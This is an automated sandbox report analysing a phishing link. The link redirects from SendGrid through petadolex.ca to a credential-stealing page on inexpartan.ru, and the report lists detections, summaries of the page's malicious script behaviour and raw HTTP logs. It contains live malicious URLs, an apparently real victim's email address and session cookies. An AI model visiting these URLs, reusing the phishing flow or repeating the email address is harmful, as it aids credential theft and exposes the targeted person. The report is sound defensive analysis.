Edit tour

Windows Analysis Report
https://u48635528.ct.sendgrid.net/ls/click?upn=u001.9c3qucD-2BQzNTT0bmLRTJr37m0fhz0zdKJtvEO5GYL-2FheRuyVOh-2FQG4V3oBgBPYNynDxn_I1ksFJapfNmw0nKrksu71KTxdlg2CVrjzBUVofCtIEhaWkhL1Pph-2Ffg-2BCFbPvkCL9SX-2Fn-2BNBrku3RcjHS1atB8ladrmemt-2BtQU5680xhgoUl-2FmS0Bdj-2FOfednny-2F-2Bj2bwjjubeRvrpN0J7TGLD3CnNRzymi

Overview

General Information

Sample URL:	https://u48635528.ct.sendgrid.net/ls/click?upn=u001.9c3qucD-2BQzNTT0bmLRTJr37m0fhz0zdKJtvEO5GYL-2FheRuyVOh-2FQG4V3oBgBPYNynDxn_I1ksFJapfNmw0nKrksu71KTxdlg2CVrjzBUVofCtIEhaWkhL1Pph-2Ffg-2BCFbPvkCL9SX-2
Analysis ID:	1580436
Infos:

Detection

HTMLPhisher

Score:	68
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Yara detected HtmlPhish44

AI detected suspicious Javascript

Detected suspicious crossdomain redirect

URL contains potential PII (phishing indication)

Classification

Process Tree

System is w10x64

chrome.exe (PID: 6036 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 736 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2260 --field-trial-handle=2184,i,16216931406052077685,12258593512264580968,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6496 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://u48635528.ct.sendgrid.net/ls/click?upn=u001.9c3qucD-2BQzNTT0bmLRTJr37m0fhz0zdKJtvEO5GYL-2FheRuyVOh-2FQG4V3oBgBPYNynDxn_I1ksFJapfNmw0nKrksu71KTxdlg2CVrjzBUVofCtIEhaWkhL1Pph-2Ffg-2BCFbPvkCL9SX-2Fn-2BNBrku3RcjHS1atB8ladrmemt-2BtQU5680xhgoUl-2FmS0Bdj-2FOfednny-2F-2Bj2bwjjubeRvrpN0J7TGLD3CnNRzymiQOzypjCqxHhzmXtY2EWHJMJBxjl-2FHlyEIekWjEdTpTsRC8R5LaI-2BXF4kV8UeUtXxyFJLbYiR3fqcWt2evvBBECu9MeQj8TLZrmfuTf-2BJQraijp8-2BcIdxf8rnVxjHoJK1lo9-2Bkao444JbRSinVA-2FoUxeuAtdlrITU1Z6gHAn7DLZstY4XJkhkT16-2F2TN4CFt2LQ-2BEh9GWg4EPlocPi8ljTs-2B9D9RVbWdc3s2Vk2VPHSj20oCO3-2FalihBzGJuaYie5tnYaz6wBF3EqNzMXmVqRnMZwSYuGRwSMVhkchytYzt3hUH-2F51IUfn7nuhHUcUbdS8nBYneAMuB2eSDRn8IZzUkExLUascCVn8T9ImEyo0qhVsBPdJjfT9L3qli9clY1N-2BhQXDZgQnsN1Bs9PujeLzem37C62BvWnqPnqvXh5vbcvseiZwTP35DEJysw-3D-3D#mlyon@wc.com" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
dropped/chromecache_106	JoeSecurity_HtmlPhish_44	Yara detected HtmlPhish_44	Joe Security

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: https://u48635528.ct.sendgrid.net/ls/click?upn=u001.9c3qucD-2BQzNTT0bmLRTJr37m0fhz0zdKJtvEO5GYL-2FheRuyVOh-2FQG4V3oBgBPYNynDxn_I1ksFJapfNmw0nKrksu71KTxdlg2CVrjzBUVofCtIEhaWkhL1Pph-2Ffg-2BCFbPvkCL9SX-2Fn-2BNBrku3RcjHS1atB8ladrmemt-2BtQU5680xhgoUl-2FmS0Bdj-2FOfednny-2F-2Bj2bwjjubeRvrpN0J7TGLD3CnNRzymiQOzypjCqxHhzmXtY2EWHJMJBxjl-2FHlyEIekWjEdTpTsRC8R5LaI-2BXF4kV8UeUtXxyFJLbYiR3fqcWt2evvBBECu9MeQj8TLZrmfuTf-2BJQraijp8-2BcIdxf8rnVxjHoJK1lo9-2Bkao444JbRSinVA-2FoUxeuAtdlrITU1Z6gHAn7DLZstY4XJkhkT16-2F2TN4CFt2LQ-2BEh9GWg4EPlocPi8ljTs-2B9D9RVbWdc3s2Vk2VPHSj20oCO3-2FalihBzGJuaYie5tnYaz6wBF3EqNzMXmVqRnMZwSYuGRwSMVhkchytYzt3hUH-2F51IUfn7nuhHUcUbdS8nBYneAMuB2eSDRn8IZzUkExLUascCVn8T9ImEyo0qhVsBPdJjfT9L3qli9clY1N-2BhQXDZgQnsN1Bs9PujeLzem37C62BvWnqPnqvXh5vbcvseiZwTP35DEJysw-3D-3D#mlyon@wc.com

SlashNext: detection malicious, Label: Credential Stealing type: Phishing & Social Engineering

Antivirus detection for URL or domain

Source: https://aor0uy31giayv7sv489le3qcmkvpqjcnzqqb1rlz1pffhpbr94sby.ygncsqvu.ru/598751268380591bUNXIIfJaIAHTIXSYQUJXLCQDGIOWNJQWJMTAUJIIGQ

Avira URL Cloud: Label: malware

Phishing

Yara detected HtmlPhish44

Source: Yara match

File source: dropped/chromecache_106, type: DROPPED

AI detected suspicious Javascript

Source: 0.2.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://o6rl.inexpartan.ru/0Fhb7R/?qrc=mlyon@wc.co... This script exhibits several high-risk behaviors, including detecting the presence of web automation tools, disabling common keyboard shortcuts, and triggering a redirect to an external domain. The script appears to be attempting to prevent analysis and interaction, which is a strong indicator of malicious intent.
Source: 0.1.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://o6rl.inexpartan.ru/0Fhb7R/?qrc=mlyon@wc.co... This script exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and redirects to suspicious domains. The use of obfuscated code and the presence of anti-debugging techniques further increase the risk. While the script may have some legitimate functionality, the overall behavior is highly suspicious and indicative of malicious intent.
Source: 0.0.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://petadolex.ca/Privacy/mwe.html#mlyon@wc.com... The script demonstrates several high-risk behaviors, including redirecting the user to an untrusted domain after a short delay and potentially exfiltrating user data (email address) via the URL. The use of obfuscation (Base64 encoding) and the immediate redirect without user interaction further increases the risk.
Source: 0.3.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://o6rl.inexpartan.ru/0Fhb7R/?qrc=mlyon@wc.co... This script exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and redirects to suspicious domains. The script uses the `turnstile.render()` function to render a CAPTCHA widget, but it also includes a custom error callback function `mSSFAETVxE()` and a callback function `OYNQcTmCcB()` that perform potentially malicious actions. The `OYNQcTmCcB()` function prevents the form submission, sets a hardcoded value for the `pagelink` field, and then makes a GET request to a suspicious domain. Depending on the response, it either makes a POST request to another suspicious domain with the form data or redirects the user to `https://www.azure.com`. This script demonstrates clear intent to collect user data and redirect to potentially malicious domains, which is highly suspicious and poses a significant security risk.

Sample URL: PII: mlyon@wc.com

Source: https://o6rl.inexpartan.ru/0Fhb7R/?qrc=mlyon@wc.com	HTTP Parser: No favicon
Source: https://o6rl.inexpartan.ru/0Fhb7R/?qrc=mlyon@wc.com	HTTP Parser: No favicon
Source: https://azure.microsoft.com/en-us/	HTTP Parser: No favicon

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

HTTP traffic: Redirect from: u48635528.ct.sendgrid.net to http://petadolex.ca//privacy/mwe.html

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /ls/click?upn=u001.9c3qucD-2BQzNTT0bmLRTJr37m0fhz0zdKJtvEO5GYL-2FheRuyVOh-2FQG4V3oBgBPYNynDxn_I1ksFJapfNmw0nKrksu71KTxdlg2CVrjzBUVofCtIEhaWkhL1Pph-2Ffg-2BCFbPvkCL9SX-2Fn-2BNBrku3RcjHS1atB8ladrmemt-2BtQU5680xhgoUl-2FmS0Bdj-2FOfednny-2F-2Bj2bwjjubeRvrpN0J7TGLD3CnNRzymiQOzypjCqxHhzmXtY2EWHJMJBxjl-2FHlyEIekWjEdTpTsRC8R5LaI-2BXF4kV8UeUtXxyFJLbYiR3fqcWt2evvBBECu9MeQj8TLZrmfuTf-2BJQraijp8-2BcIdxf8rnVxjHoJK1lo9-2Bkao444JbRSinVA-2FoUxeuAtdlrITU1Z6gHAn7DLZstY4XJkhkT16-2F2TN4CFt2LQ-2BEh9GWg4EPlocPi8ljTs-2B9D9RVbWdc3s2Vk2VPHSj20oCO3-2FalihBzGJuaYie5tnYaz6wBF3EqNzMXmVqRnMZwSYuGRwSMVhkchytYzt3hUH-2F51IUfn7nuhHUcUbdS8nBYneAMuB2eSDRn8IZzUkExLUascCVn8T9ImEyo0qhVsBPdJjfT9L3qli9clY1N-2BhQXDZgQnsN1Bs9PujeLzem37C62BvWnqPnqvXh5vbcvseiZwTP35DEJysw-3D-3D HTTP/1.1Host: u48635528.ct.sendgrid.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /Privacy/mwe.html HTTP/1.1Host: petadolex.caConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /0Fhb7R/?qrc=mlyon@wc.com HTTP/1.1Host: o6rl.inexpartan.ruConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://petadolex.ca/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.6.0.min.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://o6rl.inexpartan.ru/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/api.js?render=explicit HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://o6rl.inexpartan.ru/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://o6rl.inexpartan.ru/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/b/787bc399e22f/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://o6rl.inexpartan.ru/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.6.0.min.js HTTP/1.1Host: code.jquery.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/b/787bc399e22f/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/o2okh/0x4AAAAAAA3SrXwIAdDnw3nH/auto/fbE/normal/auto/ HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: iframeReferer: https://o6rl.inexpartan.ru/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=8f71270faa3f423a&lang=auto HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/o2okh/0x4AAAAAAA3SrXwIAdDnw3nH/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/cmg/1 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/o2okh/0x4AAAAAAA3SrXwIAdDnw3nH/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: o6rl.inexpartan.ruConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://o6rl.inexpartan.ru/0Fhb7R/?qrc=mlyon@wc.comAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjZvckFzVzllQklsTDBiZEo4RkRKOXc9PSIsInZhbHVlIjoiNkdRdmlETkp0Y0VSNUtxZXZXdUc5MW9lVE9abHFwOXk2NTZuS0xjb2EyQzFlUTZTZHRrMFJMNUFTWStORWFwZURReUU1OUE5Z2d0SDJFVC9uNHlyc01RT3NDNjVObDkxZVBaV2QrUFBZaHBkaWdMdkU5Mlh3MFUvV2dKbU5TWW8iLCJtYWMiOiI1ZDJhMDA4MmM4YTA3NWRhOGQ1NjMwYWIxNGIzNzg5MzViYTNlNDMyZTAxN2Q0YmNlY2Y2MzVhNTU5YjMwODk0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlFWK1U4dWluTmUxK3BjZW80YzJrMGc9PSIsInZhbHVlIjoiYStHeEtjYXp0TktSOGhKUVVnazZieEVudWxoVVVJMVNaZFJ1ZU5Tbzd5VGhnWkJ1SUFKRVZYVUpZR0VScmRrb1dia3Rkci90ZTRxRHhFTmFBamtGaEFFV044MWhtWFQ4Z1ZmTTJvd0JFckg4TjExRkhnTi9qQmRPMVRVeC9OOHYiLCJtYWMiOiIwZjFkODRlNjEyOTcxNmI1NzdlMzRhNWJhNDFlMWNjNDc1ZDQ1ZTgzM2UwNWUyM2VkNTAwODgzMjJlN2VhMGM5IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/cmg/1 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=8f71270faa3f423a&lang=auto HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/1333725566:1735046060:ea7DtCrMPzRHKu6JjFqJvdNTHHkD3P6YuZW747PdR4Y/8f71270faa3f423a/qEnuJJ6hsd2nQpw8YmXDFEnYwgxQQgvbDsWJJCsuHBk-1735049192-1.1.1.1-uO8h3i.NDANY4hPZuNQYsijOqvbMG2iJ4kKaQ5gCVucf1LtqvyuODcuc2aYcszLF HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/i/8f71270faa3f423a/1735049197089/RNQ7OOfTgli-F5R HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/o2okh/0x4AAAAAAA3SrXwIAdDnw3nH/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/i/8f71270faa3f423a/1735049197089/RNQ7OOfTgli-F5R HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/pat/8f71270faa3f423a/1735049197093/4d817d3c4d7367ea88d3e4c448db4fd7f0e9c1b3844763606733f21905384022/4-si6UbIXrCDaOH HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveCache-Control: max-age=0sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/o2okh/0x4AAAAAAA3SrXwIAdDnw3nH/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/1333725566:1735046060:ea7DtCrMPzRHKu6JjFqJvdNTHHkD3P6YuZW747PdR4Y/8f71270faa3f423a/qEnuJJ6hsd2nQpw8YmXDFEnYwgxQQgvbDsWJJCsuHBk-1735049192-1.1.1.1-uO8h3i.NDANY4hPZuNQYsijOqvbMG2iJ4kKaQ5gCVucf1LtqvyuODcuc2aYcszLF HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
